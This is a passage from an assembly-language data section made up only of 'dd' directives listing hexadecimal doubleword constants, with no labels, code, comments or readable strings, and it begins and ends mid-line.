6DB105C6h, 0C0115F49h dd 0DCE56A93h, 31501260h, 4C6CE254h, 0C1022A56h, 6559F529h dd 57034FE0h, 0FF07B21Fh, 5EF280BEh, 0FED33F95h, 0F62B3D84h dd 0BFDB0F80h, 0DDD59F6Ah, 19FC2300h, 0A7A21F1Ah, 81AD280Ch dd 75B00384h, 0FD642077h, 8B5D7BB8h, 0EFEB9500h, 47BFD054h dd 8C87009Bh, 0C29ABE8h, 0EA029AA8h, 7684BB7Ah, 0CE98E085h dd 28B9001Ch, 566A393Ch, 0A07988ECh, 65EE3000h, 27746F4Eh dd 2BF01DFDh, 0A39F00E6h, 0DC50D31Bh, 6DA53Fh, 8AE3D930h dd 52B2F9h, 35CAD48Dh, 9A39664Dh, 0E6ACC100h, 859C1669h dd 5B70124Ah, 6310009Dh, 9FFB6EF6h, 7CC58A00h, 485101CCh dd 955B00D0h, 0D5028CFEh, 2A000B17h, 41E02C37h, 427CD1h dd 9887ED3Dh, 68DDAAE7h, 47AD600h, 1317B3B6h, 346401FBh dd 0CF5B4D60h, 9F0CD86Eh, 0F006BC75h, 57138ED7h, 84CC1E80h dd 2FE10CD9h, 66809C11h, 948933h, 3EAA02h, 905C7CF0h, 79082EFAh dd 192F201h, 81A46F75h, 0AC6C7F3h, 6C624C18h, 6C076D39h dd 0CF046FF8h, 970A0C34h, 80808D24h, 86D2310Bh, 86E928FFh dd 4EF32550h, 50161028h, 139888Ch, 0DB67ADA1h, 3DF330B3h dd 566D8500h, 0FF219D9Bh, 7A870050h, 47490319h, 30008B28h dd 0FC6C3CC3h, 1D78218Eh, 0E3B032h, 3BA31A9Ah, 8F0CA0C8h dd 3A90B675h, 0BC0F3BCEh, 9FA58101h, 0EC881666h, 20EA663h dd 41FE2E8Dh, 7FA78BF0h, 1623770h, 0EF33FC56h, 0C081145Dh dd 5871F664h, 19A9C600h, 73F3B6F0h, 986D0026h, 4B6FBD88h dd 57003F20h, 633153C0h, 60A09903h, 7A88E810h, 90A09E62h dd 0F30A2367h, 10BB8C17h, 206E5C80h, 8F540Ch, 55368DB0h dd 28902B8Eh, 44508902h, 0D709F361h, 0A4015C42h, 0F0D71E1Fh dd 0ACA83B6Ah, 0D8882EBh, 0DA200029h, 0F9DE339Fh, 3FFE22F1h dd 97F86D00h, 6B68630Fh, 0FC53503Ah, 1C090252h, 2EB3B595h dd 0FD41E480h, 0A1309658h, 0ABEAA13Ch, 272800ADh, 700A36CDh dd 77068EC3h, 86CAE9FEh, 0F83EE79h, 0C80FEC97h, 44582900h dd 4000D59h, 0FB51E639h, 98CC904Eh, 4F0C2AC2h, 867B1730h dd 0D845008Eh, 421F0978h, 14B3D301h, 13E1CFE9h, 0BF0E2F5h dd 7F81Ch, 3CCE67F2h, 97DB4ED0h, 72F35119h, 44E7911h, 48ED550Ch dd 30000E10h, 0EF52CC53h, 19D3316h, 0D870D0A8h, 0C8A31C80h dd 0EC00F415h, 55888F06h, 40CDE6h, 19127DE8h, 0D07AB6A6h dd 0C41C777Bh, 4440FF58h, 1068098Fh, 1CA8F2B5h, 0FECE725h dd 74009178h, 269E388h, 0C00A77Bh, 847A9A03h, 259323Bh dd 1C7ED720h, 5C40F21Dh, 8C3EDACDh, 3F2E806Eh, 668D1BBBh dd 0B1CA0082h, 7DF16327h, 1500F343h, 0CB7CA6FAh, 1F0FCC84h dd 40C640D5h, 5B9F690Dh, 0E90026D2h, 0EFAEA309h, 0E415EA61h dd 777F90EEh, 3FCBFE4Fh, 9E80C3A4h, 0B4BDA8D9h, 4805B0EBh dd 38405C10h, 9900B7C5h, 73846F8Bh, 0C78900EFh, 7D99D058h dd 610ED1E5h, 0C0B22B57h, 0AB4143E9h, 0CF2905B5h, 0E3D1917h dd 900009BCh, 44BA016Ah, 0EC5A11Eh, 0CA84D900h, 0D4E42B4h dd 49EEB6C9h, 19D28048h, 0C8708AF2h, 512F30F5h, 47E5B118h dd 0B462DFE4h, 0A0740360h, 410AF5ECh, 0FC221452h, 0A0008C7Fh dd 0DF471661h, 60F0BE31h, 4100EE5Eh, 0CC5F0FF5h, 0FBFA1E23h dd 0BB5CEDD2h, 0D8B2707h, 0F8C322A0h, 166307ABh, 0C7F2C961h dd 405BC599h, 420660C0h, 72070731h, 0EAF195C5h, 2AD461D0h dd 633B0008h, 0D8C260B0h, 0E87A20CAh, 4F335A00h, 61F3A4D2h dd 5B503A2h, 4642F93Eh, 6A97E480h, 51A53000h, 6457F135h dd 0DE950E02h, 0D7C0E922h, 0EE70BFFFh, 5F050DF6h, 0A42D23B0h dd 4A992D80h, 15CE00D4h, 0E822DC77h, 8C0321F2h, 0AD762483h dd 0B72906DBh, 0DE61A7ECh, 0DDF69401h, 3FF487D2h, 131A9F8h dd 12809230h, 0E889793Ch, 49000928h, 694F40C9h, 0F2C17194h dd 6A3100EFh, 0FBF9DF9Bh, 7F000844h, 0C39C5BA3h, 15C77CEh dd 9010DBA2h, 0D8D906ABh, 0F700596Bh, 6CF0FC2Bh, 0DE8284h dd 0D5F640BDh, 704726F2h, 418E7418h, 1F1E7A68h, 800D380Ah dd 4D254EECh, 0B27ABF5Ch, 6876100h, 837B96AAh, 60B13A81h dd 0F0F6D185h, 0F3D10095h, 0FA441AD9h, 0DAFC1603h, 809DA676h dd 3C35A9h, 0ED248F86h, 895AE03Fh, 0CAF7700h, 0A73AEF49h dd 0D5873054h, 3F0A6971h, 0CAAD80h, 3B62B412h, 0A1A726C2h dd 0FBC72F00h, 0CF2B1F6Fh, 0ECB3FB3h, 7100063Fh, 0A5862449h dd 407DCA2h, 97481252h, 0EA3359B0h, 0ADE605DBh, 80256608h dd 3A0C866Eh, 961F7601h, 0BD04D777h, 3C8082C8h, 62B83EB5h dd 0C883D9B8h, 0D0BB8D42h, 1F541BC8h, 191E2E00h, 0B1FF820Dh dd 0C1C2002Ch, 0D1833F9Eh, 21001F53h, 0DBF2D2A9h, 9C7943h dd 0E02B42B8h, 240A6622h, 61CAD607h, 0B180F6D3h, 931043h dd 0B7F4DE15h, 0B6F956B5h, 0EE3CFDF8h, 0C90400D7h, 0D30E5C7Dh dd 0B0470051h, 9A300DEBh, 62488E79h, 252B1724h, 8D1C22FCh dd 0E945C03Ch, 1AD5F341h, 0D89D3403h, 0D0814FB8h, 0F4C8B0B2h dd 0E2A107FEh, 0F062CFC5h, 0CABE96A9h, 5AAA7D0Ah, 5D01C59Fh dd 974489BBh, 3DA4E6C4h, 7A80EE6Ch, 7E0275EBh, 910331BEh dd 7FCE2AA2h, 0FF1CB064h, 86C92FDh, 314EAB63h, 0F3F1A353h dd 258FC10Eh, 0CB9A807Ah, 860093B4h, 9D4E7FCFh, 3C2A089h dd 846922D2h, 8C929635h, 6F4B1C40h, 80CC743Fh, 6BF30E70h dd 0A8114578h, 2813DDE8h, 7F806950h, 5B260EA5h, 126ACF64h dd 2E6A8394h, 2900D7ACh, 5D9B23E3h, 0E4B63D4Dh, 0BD945086h dd 520C0065h, 0BBD711A8h, 0FD074A3Eh, 0CBC4D927h, 0C7681F00h dd 0F18900D6h, 998582D7h, 8A09810Dh, 80AB102Fh, 13FF8331h dd 84B489Eh, 0CB907Dh, 0D4B4C85Ah, 0C1B98CE6h, 25405800h dd 94752387h, 0D65A0FF8h, 96200301h, 13E45B52h, 6F7C7700h dd 53C18AF7h, 799000A4h, 8D189E06h, 92D7A0Fh, 80DFE2ADh dd 33682952h, 0EB771EE3h, 0EED381F4h, 0F7E8C2CAh, 0FCA2B780h dd 110083FAh, 0DCF73754h, 0F3E7848h, 0CDF592C5h, 20D43043h dd 0FBFEF3D0h, 2CF2A224h, 46977640h, 0D3E69Ah, 0BD28A881h dd 5A18D72Bh, 0CD034098h, 8398F976h, 0A394E8ADh, 0ABE2001Ah dd 9E3E3C69h, 6538BB89h, 0A5F08355h, 97C5B502h, 88629031h dd 42E0C4h, 918A18Eh, 4B1F031Ah, 0CD915200h, 0A9659F66h dd 0CFCA0023h, 0E26DD5A0h, 0F9006B7Ah, 8D5CB688h, 7B6CC9DCh dd 64BA3F7Dh, 6114987Fh, 0B6D19872h, 3ADFF4B9h, 1FBC9C00h dd 79C0A287h, 89F40EA1h, 7A449437h, 615C80A0h, 0DE001046h dd 609E6DB2h, 4AA901h, 5A731735h, 0A40FC69Ah, 0DEC06800h dd 0ED6FBEBBh, 61030002h, 0B50118Ah, 243C5FA6h, 746C80E4h dd 0C5BD31D4h, 0C04B0089h, 5D6980A1h, 83073C46h, 1052B9E5h dd 0F81B07F0h, 0E2203A0Dh, 45F56107h, 0E7E03E87h, 0D4242B3Ah dd 0DCD15300h, 0B91320F0h, 0B1AC66A0h, 98902038h, 3D07A6F0h dd 55A2995Bh, 73A1BF40h, 102E5039h, 1C4B51B8h, 1D84E0ECh dd 820FDh, 0A55D68E4h, 0B52621CBh, 7500D0F9h, 4147C6FAh dd 80E2008Eh, 401BC051h, 0E703E88Ah, 0E5DF1C20h, 0E0400122h dd 0FCC7F0FBh, 0DA609371h, 0FCAF990Fh, 3574F780h, 4DE57510h dd 0D8301056h, 0E7DA6820h, 0A13BF130h, 0ACA1BAh, 1335256Fh dd 0B1D8DE0Dh, 0F108F700h, 0B93A560Bh, 4AD105F0h, 0FF3AD27h dd 30098B3h, 5E97E59h, 8E60ACB8h, 3DBE1E54h, 0CF021712h dd 0F83300DCh, 0B54AA5F5h, 0A3852200h, 0B6210797h, 99B10186h dd 23ABE55Eh, 0DF73C857h, 92411000h, 0AE86526Eh, 0FD8B0074h dd 0BF87F726h, 0C9C05540h, 0DF336641h, 19D0E6DAh, 87BE224h dd 14218F29h, 6D5A71Eh, 9980F904h, 18ACD34h, 39AAAD25h dd 64F38FF1h, 0D000D478h, 656D10A0h, 0CB75BB35h, 0C020D809h dd 54A068B4h, 63A2E07h, 0E8D06057h, 3BA8E25h, 0F8787573h dd 0C9B091A3h, 26E62D94h, 0C8B468C6h, 0AF072A40h, 203F67B4h dd 633CA8A5h, 2E0D81h, 0A0AF0521h, 38FCB136h, 0C49F4D51h dd 0A600E27Ch, 532A6187h, 0ECC1EEABh, 0E00C5277h, 0FAE99F00h dd 5B15A2BCh, 9B8F133h, 7F213D9Ch, 53B4FA00h, 40C73CB1h dd 0A1C55000h, 95DD5C83h, 468CA484h, 0A0D302F0h, 31DD6D13h dd 0EBB310FDh, 0AC100A0h, 0FABDAF6Ch, 0C901A6A3h, 153ABF1h dd 0A1E73EF4h, 22E09405h, 46430034h, 50C3E507h, 6F00A244h dd 0A99FCD20h, 7DB641h, 60709502h, 8A79FB5Eh, 4A1F801Fh dd 0E2EF5640h, 5F87BCh, 32066173h, 3365BEC3h, 3ECE48h dd 457BED47h, 33A69A1h, 0BEA294BAh, 0FAA0E9C3h, 441EE864h dd 928023DEh, 0E2B6A549h, 39500057h, 0D4178508h, 690736F3h dd 74DD46DEh, 68E5A720h, 0D980027h, 7656EB1h, 1AE8BAF9h dd 0C0DD3300h dd 0E4B90974h, 0CF240964h, 2080B741h, 6801DC1Eh, 99ED3700h dd 66E8AA82h, 26C8FE3Fh, 7A53D9h, 0E4A1B0FAh, 830767ECh dd 0BBADEDBDh, 641987C0h, 8C980643h, 8A81BAFh, 20ECC930h dd 199EFCh, 0C023B0A2h, 0B33D2F36h, 6D995F00h, 0D1436FF2h dd 0C67D00BFh, 0EDBB806Ah, 0BA3ADA0Bh, 668D9F9Ah, 65FBA7Dh dd 6E2D6976h, 0BBAF3708h, 7D1E2020h, 9500B76Ah, 0BC2B4153h dd 39A1F5h, 0BF9FF170h, 0C15C2728h, 0EA3F59F4h, 6686393h dd 4B400066h, 2C144D36h, 5930780Bh, 0B0AD59ABh, 0F7BA1851h dd 2F5530ACh, 48487337h, 4E77DAC0h, 0ECB1C8C7h, 857D65C2h dd 58221EF8h, 1D9720B0h, 7C02317Dh, 0B4F80D32h, 0C6A880FAh dd 0C05DE3DFh, 1AC4560h, 54C63BEh, 0CA140FC9h, 29B380F8h dd 0F34030h, 0D2D68479h, 0C7F23D72h, 0B3C2600h, 81CABF38h dd 1FECEEFCh, 0A4068A83h, 39A20CE8h, 4A73A11h, 361913E1h dd 9BE1080h, 590C6058h, 4F7BC007h, 33D73B37h, 0D11389C3h dd 0F6705CDCh, 63AB328Dh, 0AF119C28h, 0E1F422D2h, 515D6C2Fh dd 802284E8h, 1428504Ah, 845F446Ah, 4B2E2284h, 44791C42h dd 62885051h, 0F0030095h, 649F2AF5h, 9FB0A577h, 94F9ED00h dd 0AEA46079h, 0EFE53F02h, 0C58FDF80h, 2D3846E2h, 0BDCF7A00h dd 3274F0B3h, 1FBE002Fh, 0FF24580Dh, 0AE000393h, 0C0694B76h dd 7E44D7B4h, 5B9A077Bh, 0C06DFD36h, 4EAA329Fh, 0A3BCF800h dd 0EDFB29D2h, 0D0F1003Ah, 61866F56h, 0F500CBFAh, 0FE260AA4h dd 1C9CB15Fh, 439A832Dh, 3A0552F8h, 290059D3h, 48B84DC3h dd 5745CA9h, 0B221A2DEh, 0D8D843F0h, 9A08204h, 6A002C71h dd 17AEFE16h, 2453F06h, 0A68EA453h, 23E378C0h, 1459500Eh dd 0D846A00Dh, 0C1BAE9h, 0EC322E98h, 35C0A7CCh, 0A4696B0Eh dd 2646E4E8h, 495D2490h, 9CAC38EAh, 4D184200h, 0CBD8CD7Eh dd 7548D600h, 0C5A58DDFh, 0EE391E33h, 0E69DBBh, 0F12A8654h dd 2E280BEFh, 0B21C8CDBh, 74402B09h, 0F2CF969Ah, 16E7004Fh dd 4738CB44h, 0D800E0D1h, 0C96B26F0h, 37E2E4h, 9080ACAEh dd 0D465D64Eh, 0F706D5B0h, 66DA1561h, 56EF211h, 0A0786D5Eh dd 228400A8h, 48664AFAh, 3549FF0Fh, 17D200B6h, 1056CBDh dd 60CA75F8h, 0E02D9D21h, 0BE0E44AEh, 0A0CC14FAh, 15B4E0FCh dd 3306076Dh, 90F5A656h, 85F4EF54h, 0D4F11C00h, 0C4AC0F92h dd 97D60E1Bh, 0A720B859h, 41C1B463h, 736EB012h, 4DBAA800h dd 982EB7DBh, 0AE1200E5h, 26BFD35Dh, 423CE3F1h, 8AA601A7h dd 183DC7DEh, 5B9EDCCh, 3375709Dh, 0C8658008h, 3728AA8Bh dd 0C038CB76h, 4B930034h, 4C4A1EA6h, 90BD7AC1h, 6540008Ah dd 172DAF76h, 24049F35h, 0F54C81C3h, 8705E482h, 1680E0CDh dd 966BEDh, 76938825h, 0CB6572AAh, 58E3FF24h, 4B021D26h dd 40856DF0h, 88DC11Ch, 9AAB0C95h, 0AF1FCF09h, 0E323E018h dd 0CC71ACCh, 37C56844h, 0B6002F72h, 0EB7D0451h, 50F1960Dh dd 3E4AB088h, 7B9C0B69h, 0FC17805Ah, 591FFF8Dh, 0C80027E4h dd 644E1667h, 5BB5AFBh, 1E4677C6h, 0FE7DC03Fh, 6D3A1287h dd 0BD548015h, 0C04D17A5h, 5D380FF2h, 3C00240Dh, 0C232BF81h dd 0C499A03h, 9AF72D29h, 7EEE8009h, 39C4ECh, 28370BC6h dd 2C607DAFh, 5FF92003h, 88D6FDEDh, 409FA5h, 1EBC868Ah dd 1447DC2Ah, 0BC1D4B24h, 0F20F1C00h, 7B9D28h, 0FFF8AE66h dd 6CA520FAh, 1C534B0Bh, 8DE680FCh, 1FE75C74h, 80D1B9BFh dd 0F65A3147h, 0DF3BCFB5h, 864B800Ah, 41E245F9h, 609A00C9h dd 0F820A7CDh, 0AA0E27F5h, 0C0D47FABh, 0DD3E4551h, 0BC9402D9h dd 4AE17309h, 7000446Dh, 54EF24C8h, 0EDAE0131h, 2BCDF042h dd 3381DC3Ch, 7D0CFC04h, 948076B8h, 0DB720Ah, 66D7A736h dd 0F182248Ah, 0ECBA7C00h, 7F93D1E7h, 25C10041h, 28E87186h dd 0AF1C16F8h, 0E940C4B5h, 0FEA9F729h, 0AC500068h, 13956A2Fh dd 59009BD7h, 73FF99B5h, 1F1DBE4Ah, 0C738C404h, 0C00D2E96h dd 5AC27E01h, 197AA403h, 0F0CBA508h, 800F8Bh, 35040C75h dd 153368C6h, 0EFBB5D1Ch, 0AEEE8847h, 4B700019h, 37590B8h dd 0D0C6B789h, 479033D5h, 5200AFE5h, 0F9A20F71h, 133FB464h dd 2CC405h, 30D01D60h, 0D7004FD9h, 79E96CAh, 0E672FA98h dd 37F00011h, 94E658E5h, 0DA393391h, 2E4D8730h, 8990AFBCh dd 71D9DCh, 8FF1E811h, 333FE7Bh, 0ED60800h, 10C66FD5h dd 23FD0070h, 0AC8DC2B2h, 740087E5h, 0CE4FF060h, 0CB7616Bh dd 0D51B6C43h, 22016572h, 8AA34D8Dh, 7DC42421h, 0E486136Eh dd 68960181h, 601DA046h, 7094F96Dh, 0CC010D13h, 805FA119h dd 0E23AC20h, 11B2486Eh, 0E364C001h, 17188074h, 30737EEh dd 54DE0296h, 0C32F76BFh, 5E01AF40h, 73CCD84Ch, 0F98F4900h dd 0C90A0B14h, 0A5F40065h, 20E70996h, 660071DFh, 0F1228E83h dd 1D95C39Bh, 93790AAh, 480899Ah, 3C46D1FEh, 80CC2ACBh dd 245EE1FEh, 0D96500A9h, 51E02CA5h, 3300A10Ch, 564C93E9h dd 0B8F31927h, 7A83037Eh, 0FD083587h, 0C92CE1C8h, 74373C26h dd 0B75B4F05h, 1C17BC88h, 0C194BA8Fh, 0E71037C4h, 0FB01E471h dd 84E49100h, 33DF862Ah, 138E072h, 0A55CA405h, 0CC07DBF4h dd 0AA000B61h, 3633DC39h, 0A6E4FFh, 34F79AA7h, 4A43EF4Eh dd 41C3107h, 7E34060Fh, 0D7EABB80h, 0B8CD003Ch, 0A9ACEB23h dd 70000363h, 0E85AF29Fh, 399145BDh, 484CC92Eh, 71EBB300h dd 377C2B27h, 8D35F100h, 6930BDA0h, 0AE79C4h, 2C0FD3FBh dd 0C52E97A8h, 0F2A97000h, 126CE6EFh, 5ED60091h, 0BA413D4Fh dd 0D8FBAA5Dh, 0B9005988h, 76FB5DAh, 0ED67E086h, 0EBBDFCh dd 0C1B17863h, 0C8FDD74h, 68005498h, 0E91DB52Ch, 910A6Eh dd 559E5C54h, 0D60FD7CEh, 80519B3Eh, 15071640h, 45BBA2h dd 0DE63F996h, 5BE172FDh, 4DD76400h, 716C29D0h, 343E40CFh dd 635CC4E4h, 0EB9E0056h, 96B3171Dh, 0D4250099h, 60E20681h dd 52002F95h, 0CEE324B2h, 0D98D0Ch, 0F1C43D14h, 0B9AACCC3h dd 0DC0053B8h, 171A48ECh, 1ED037h, 0C3E4E24Ch, 0FF10D6CEh dd 6498651Dh, 0FD134703h, 0F882EEDh, 0F0D90030h, 1150DBE7h dd 0F139B307h, 0CE6184DFh, 61C4A0CBh, 2B150104h, 4E41E9C3h dd 44E47020h, 8983F200h, 15EE163Bh, 0BD8E005Bh, 7B111F0Dh dd 0AD1CA091h, 5DDD3235h, 5F00B424h, 0DAAA92D1h, 0D18076Fh dd 90EA015Ah, 141D68D2h, 0D5E75300h, 4EA2E9DBh, 0F377BFh dd 288B3CF2h, 0BEC24F4Ah, 5DEAF100h, 727A062Fh, 0C9A70519h dd 0C39F83F5h, 0BFA80C24h, 0A9004B8Fh, 1C1DBC6Ah, 3AEE7A12h dd 0FE8217F3h, 0F69AB34Ah, 0A2690C0h, 0F1835200h, 0CA62B131h dd 0C8E00061h, 0CB46ABF5h, 0FD00971Dh, 703B41E6h, 0F8ADE6Ah dd 1A0766B0h, 1D4EB4Ah, 6F85FE54h, 3B5AE036h, 94DFF028h dd 0D563BA00h, 0E616F991h, 9B5714DAh, 7B9C94h, 0FB44B4AFh dd 0EBF134B8h, 0EECC410Fh, 3F58C11Ch, 3D8D075h, 11B900D1h dd 0B45E06A1h, 0B10239F3h, 0A3916079h, 7334587Dh, 0A18B5AD9h dd 85AF0040h, 7B004CFDh, 0C5664B15h, 0BAB0B6B7h, 0FB7854h dd 0E5F4DC42h, 0E921E70Ah, 61E0791Fh, 0F960B83Ah, 0B2839B02h dd 0E0B0EB89h, 1ECD7258h, 0F74ED37Dh, 10660710h, 0F7F22BFh dd 80305138h, 52874D37h, 1E3A04C4h, 40BBD13Bh, 9E26F2A2h dd 0A60099E1h, 0C44B8601h, 1851D314h, 50E97AD7h, 1B006AF9h dd 0EDB86F4Dh, 7CE736h dd 3833C769h, 0F7E11885h, 27CAC400h, 0A73C73BEh, 0DF250139h dd 529288C2h, 0D360200Bh, 245C9D3Fh, 291E6C02h, 4D00801Ch dd 0D9DB176Bh, 0EB60266h, 0E6CCFE49h, 9A7FCCE0h, 0C934FF08h dd 0B95300E7h, 0EC6474B1h, 5E05917Dh, 98762538h, 490A8F80h dd 7FF64C3Fh, 69916800h, 8DBED9CBh, 0BF7483B0h, 0CD47CA02h dd 409BE8ACh, 58F2AE04h, 720770B7h, 5019232Ch, 64FB9D92h dd 7C56A207h, 1B801D8Fh, 1E17CE98h, 3BEBA03Dh, 17C92Ch dd 6ED8F7B5h, 0EA60BA6Fh, 0AB8BC619h, 77D90105h, 0EEE37B9Ch dd 50888036h, 4A19B041h, 7D9B0046h, 23A9291Ah, 2F007188h dd 0FA392D3h, 565821h, 15750B74h, 0BBA6E7A7h, 9D8CC40Fh dd 0A3DBE0A9h, 1D2FDD44h, 0C060E170h, 88BA5ACDh, 0AC01CB01h dd 72DE0DAAh, 0B1F06F1Ah, 3E0E72F7h, 880038D3h, 0B987CAE2h dd 63E25462h, 2E9A3D0Bh, 0F6058705h, 78BE7C60h, 4A900CBh dd 12F7DDA8h, 0C0C00B02h, 0C2C4E3D8h, 0E900FE5h, 8CC06542h dd 13692E0Ah, 0EAAB8D0Bh, 7B35009Bh, 4BCE20h, 0D41CA5B9h dd 5D9EEC26h, 0EA77B700h, 0D23809DAh, 31300CDh, 0A9647EFDh dd 0FA6066BFh, 0B32A7F50h, 0C61F00E8h, 0E37251E2h, 66009376h dd 4C278F1Dh, 15E8A60h, 88B52152h, 0DC34F5D0h, 0F1029910h dd 8E117237h, 0B78EE009h, 822B5833h, 240B9400h, 0BE738370h dd 0E606EE00h, 0E4EFD053h, 0B57C0193h, 6DC8862Ch, 7FC0D27Ah dd 0AD00552Fh, 8D3C959Eh, 0DFD77Fh, 0E1786552h, 0E8D247CFh dd 0C50D5A07h, 0C380C049h, 0FCFAC716h, 57513CBAh, 0F9FCD600h dd 989E2B74h, 15F8C800h, 0D4C99513h, 56FB012Ah, 333F75C7h dd 0BF5420CEh, 0A3445204h, 0FAC0F036h, 18C82B2h, 37091E6Ah dd 607F9BE9h, 0ED580688h, 0AF3B0097h, 34A0BAA4h, 93100ECh dd 0BDAC92C9h, 0BEEAD042h, 478C2501h, 0FBA079E6h, 3DE04020h dd 400FD17h, 8F083663h, 88EA9E72h, 14007C90h, 0AA2F0DF3h dd 7E64E87h, 7EF763BEh, 0A7E963ADh, 378EF9C8h, 2698D90Eh dd 0B7F38009h, 189E0Ch, 6F3416E7h, 0CAE91466h, 4312200h dd 0F4A30208h, 5EA00CFh, 2E7EFFDDh, 6DEEE665h, 10468A00h dd 0E8CC992Bh, 0C0BF7EA7h, 0E903FE61h, 88DDBD54h, 7E483540h dd 504B9D11h, 94C8B1h, 91490690h, 50ACD87h, 0A5FDFE03h dd 0D36C6B61h, 0F48084AAh, 3A44645Fh, 200E847h, 7DA2CE82h dd 0AA003DA6h, 0B1BEEED9h, 24A3CCF1h, 105B3Ch, 7D7206B6h dd 8278505Dh, 5955B900h, 0D5C02D94h, 42FE0021h, 886CC64Fh dd 26009F6Bh, 0F6A6CBF1h, 507A6E47h, 91CFF2h, 0FDCE032Ch dd 8C7B2EC2h, 171FDD01h, 7294E64Fh, 0AF0BB440h, 4EE10075h dd 0B74070B0h, 0E60E0AFDh, 3F35ED1Ah, 0E13C7183h, 62CC831h dd 80A60092h, 0D0E7EE61h, 6C98F8B7h, 0DD09377Eh, 0B3E194h dd 0AD217584h, 0BBC9009Ch, 3E4A1B51h, 0F000A1ACh, 0A8EB3FC3h dd 775F5DEh, 0FD7D664Fh, 87E3A3D8h, 312F2CB0h, 0B85B101Ch dd 0BC9807Eh, 80117C99h, 6EBA014Ah, 372FD715h, 0C4D44097h dd 1650361Fh, 4200D2F8h, 0E1568044h, 1C73C129h, 8A23904Ch dd 28FCF4D6h, 0DC15000Ah, 3106E9E5h, 0BE60F7E8h, 6857ADC0h dd 0FB4000C9h, 18F87ECFh, 15053D35h, 0D0B6D8DEh, 805C400h dd 9ABE80Ah, 35FEFAEEh, 81740080h, 0BCF69379h, 179E155Ch dd 0B00FF566h, 0CFBDA009h, 14A811C0h, 0F00B1D06h, 54E39F01h dd 40B4215Ch, 0B9C1C3D8h, 87623A00h, 0E3C7255Dh, 0A47C0061h dd 720B5BE7h, 0DE75D057h, 6F5AEC00h, 694737B2h, 933B00E1h dd 30D93CE3h, 0F8F512F1h, 0B701E746h, 0C26DB035h, 3E70C68Fh dd 80A139DAh, 32F82A80h, 7331AFAAh, 6E45C00h, 0B69F816Fh dd 6E0700F7h, 5975FD04h, 0A913769Ch, 4D04AE78h, 8C80C583h dd 0E8B9A4BEh, 5DA100CEh, 0A921714Dh, 6A00F6C1h, 0E878562Ah dd 0B0FFDFD6h, 0C267026Ah, 40B8E287h, 99D20C48h, 2EBAC800h dd 9E6D7FA6h, 609009h, 0D4D07EFCh, 0F778F473h, 0B8910207h dd 1190532Bh, 1F67A7h, 0FA400AEFh, 955260A6h, 29827F04h dd 0C906B64h, 4E53F3Dh, 6FAA5627h, 0D8C567h, 525D4262h dd 0F100A8A5h, 9414544Bh, 0D62F37h, 3973BF64h, 8070CAE3h dd 0DDA67603h, 90A88FADh, 0BD077h, 5F53AE02h, 0C0CE239Eh dd 380E958h, 8B04D2Ah, 5A2F88A9h, 8098EAh, 0D0C2BA81h dd 4D1CC43Fh, 71FDA500h, 0A15F809Bh, 627300D9h, 18E4C785h dd 9C00D1C0h, 9D5D1F0Ch, 270899h, 6AF3D71h, 682ABE05h dd 0EA003478h, 6DA4F5FCh, 0F88B5Ch, 0BD7995C9h, 355D7537h dd 5BA6A900h, 0D63B9657h, 9D9C004Ch, 0E0AABF0Fh, 42018E20h dd 0DAA258BDh, 0F8E0CF66h, 7CDF49D1h, 0F7AE2D07h, 71D8A0B0h dd 2B0069ADh, 74047B4Ah, 3F36080Eh, 0CA806699h, 37754C3Ch dd 0CF48EFB0h, 5CA10047h, 0A0122E40h, 0C5F20006h, 34047230h dd 9600298Fh, 3BCB10D9h, 21494Fh, 40C7B38Eh, 0D277595Eh dd 4AE81D4h, 0BAF68B60h, 35A3AD0Fh, 207ED31Bh, 1B9AEA3Ch dd 0FF1195A4h, 61CF5D80h, 30789D8Eh, 7F0ED503h, 0B0F4F71Dh dd 30F2A02h, 7CDFFF2Fh, 603D41B3h, 35D706B1h, 18497F22h dd 700C9AB2h, 0DE18E5BAh, 4090DC4Eh, 8E690092h, 0DA89AC2h dd 100EA09Fh, 203FC1F6h, 5C6BF23Eh, 0BA560008h, 5D40CC69h dd 68A07F0Fh, 8A037D4Eh, 619ACABCh, 57C002B3h, 0C93FF0B1h dd 8E8D64E8h, 30BB1037h, 0EB7A3D80h, 5B4707A5h, 0C1B206FDh dd 0FC52C69Ah, 0B3166B8Ch, 78005705h, 0B20C0887h, 9C7548ADh dd 0EBC42400h, 3A44974Bh, 1C701826h, 0E80101Ch, 354989C8h dd 98F70785h, 90B46AB3h, 6C0F6FF4h, 20792D07h, 0F8102EE8h dd 0A03E55h, 8BE48131h, 9B1E2AF7h, 1C4FA63Ah, 13808C50h dd 0F9748D67h, 26B900E1h, 9B2CC36Eh, 9C031A7Ah, 0F3D4FA88h dd 0C00B9857h, 0BC6E0093h, 1C656874h, 0E45C473Eh, 1E443A10h dd 644013B4h, 2A9D9E35h, 79800AABh, 8EA0E95Fh, 0B4C0231Bh dd 0EE024CDEh, 55699C00h, 5612C7D6h, 90F62AA0h, 5ED4009Ch dd 48863287h, 9324BD69h, 0D8005B1Dh, 67B20B73h, 9B7E5C8Ah dd 0E5796000h, 6CC9CA3Fh, 0C4DF68CAh, 223D3781h, 4230B061h dd 0DAEC00A3h, 0F8ECC4Dh, 121F657Dh, 3E98A57Ah, 60410431h dd 0DE2981A0h, 0E9720F8Fh, 0A518747Eh, 6F293D0Bh, 0F7400047h dd 32495833h, 0E3289A63h, 0A55C10B7h, 68DA00B9h, 6027D1C8h dd 114500ADh, 0EDCC20Ah, 34030549h, 0CFB0240Fh, 776EF9C9h dd 189FBBF0h, 491BB735h, 3960C736h, 493267FEh, 4C1000FDh dd 628F92F3h, 840026F2h, 59A93C60h, 71FE7B7Ch, 4A0E1E0Dh dd 0B7C1C011h, 4C0B567h, 324C3Ch, 0EDD0A34h, 350D28h, 1660EB4Bh dd 0C0AAD662h, 92651200h, 0BE719834h, 0BCAB58B8h, 7872EB58h dd 0C8A60085h, 0D410C757h, 56397EB7h, 4F2B0A88h, 900FECA1h dd 41C340BAh, 66CB93h, 0F4DCEFCDh, 0B257FA30h, 968FD613h dd 4C659C00h, 877B67h, 8B7671A9h, 0B1C53044h, 0AF84CCE3h dd 0A4179701h, 39F4D4EFh, 80FB2DCDh, 7BC836C4h, 49EE07h dd 2AB59769h, 0AF5D916Ch, 0AD686B0Eh, 0BA83E046h, 0E51358h dd 0ED30E660h, 0C4D6B141h, 440791B0h, 497B994Ah, 420B5630h dd 3D4B2665h, 4CCA011Ch, 0E493A674h, 96008AF3h, 0C6E53E82h dd 1C4CD5Ch, 631E3C5Fh, 0CC8375A0h, 0A1E831C7h, 72011771h dd 2752AD9Ah, 62E4E69Fh, 166105D4h, 80CD58EDh, 8DCFF41Eh dd 621995F5h dd 9CFF8304h, 29103A04h, 78AE2E80h, 6C4EB13Fh, 39CA1600h dd 